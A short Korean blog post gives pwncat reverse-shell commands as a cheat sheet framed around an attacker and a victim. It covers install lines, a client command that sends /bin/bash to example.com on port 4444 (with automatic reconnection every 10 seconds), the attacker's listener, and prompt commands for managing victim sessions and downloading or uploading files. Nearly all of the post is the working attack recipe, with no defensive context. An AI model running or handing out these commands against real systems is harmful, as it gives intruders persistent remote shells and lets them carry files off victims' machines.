๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐Ÿ”’์ •๋ณด๋ณด์•ˆ/๋„คํŠธ์›Œํฌ ๋ณด์•ˆ

๋„คํŠธ์›Œํฌ ํ•ดํ‚น - pwncat ๋ฆฌ๋ฒ„์Šค์‰˜ ๋ช…๋ น์–ด

by Janger 2023. 3. 16.
728x90
๋ฐ˜์‘ํ˜•

 

pip ์„ค์น˜ ๋ช…๋ น์–ด

 

pip install pwncat

victim(ํด๋ผ์ด์–ธํŠธ)์ด ๊ณต๊ฒฉ์ž(์„œ๋ฒ„) ์ ‘์†์„ ์œ„ํ•œ ์„ค์น˜ ๋ช…๋ น์–ด

 

sudo pip install pwncat-cs

์œ„๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ python3 -m pwncat ๋ช…๋ น์–ด๋ฅผ ์“ฐ๊ธฐ ์œ„ํ•œ ์„ค์น˜ ๋ช…๋ น์–ด

 

 

TCP Reverse shell(ํด๋ผ์ด์–ธํŠธ)

 

pwncat -e '/bin/bash' example.com 4444

 

pwncat -e '/bin/bash' example.com 4444 --reconn --reconn-wait 10

10์ดˆ๋งˆ๋‹ค ์žฌ์—ฐ๊ฒฐ ์‹œ๋„

 

 

๊ณต๊ฒฉ์ž ๋ฆฌ๋ฒ„์Šค์‰˜ ์„œ๋ฒ„ ์˜คํ”ˆ

 

python3 -m pwncat -lp 4444

 

pwncat ํ”„๋กฌํ”„ํŠธ ๋ช…๋ น์–ด / ๋‹จ์ถ•ํ‚ค

sessions: ์—ฐ๊ฒฐ๋œ victim๋“ค ํ™•์ธ

sessions {ID}: ์ƒํ˜ธ์ž‘์šฉ ํ•˜๋ ค๋Š” victim ์„ ํƒ

sessions {ID} --kill: ID ํ•ด๋‹นํ•˜๋Š” victim ์—ฐ๊ฒฐ ํ•ด์ œ

 

Ctrl + D ํ•˜๊ณ  ์—”ํ„ฐ: victim์˜ ๋ช…๋ น์–ด ์‰˜ ์ด๋™๊ณผ ๋‹ค์‹œ pwncat ํ”„๋กฌํ”„ํŠธ๋กœ ์ „ํ™˜

 

local {๋ช…๋ น์–ด}: ๋กœ์ปฌ(๊ณต๊ฒฉ์ž์˜ ํ™˜๊ฒฝ) ๋ช…๋ น์–ด

download {ํŒŒ์ผ}: ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

upload {ํŒŒ์ผ}: ํŒŒ์ผ ์—…๋กœ๋“œ

 

 

์ถœ์ฒ˜: 

https://docs.pwncat.org/en/latest/usage/reverse-shell.html

 

Reverse Shell — pwncat documentation

© Copyright 2020, cytopia Revision d94b7f89.

docs.pwncat.org

 

https://pwncat.readthedocs.io/en/latest/usage.html

 

Basic Usage - pwncat documentation

Previous Installation

pwncat.readthedocs.io

 

https://pwncat.org/

 

pwncat - reverse shell handler with all netcat features

All Python versions supported pwncat works with Python 2,7, 3.5, 3.6, 3.7, 3.8 and even with pypy2 and pypy

pwncat.org

 

728x90
๋ฐ˜์‘ํ˜•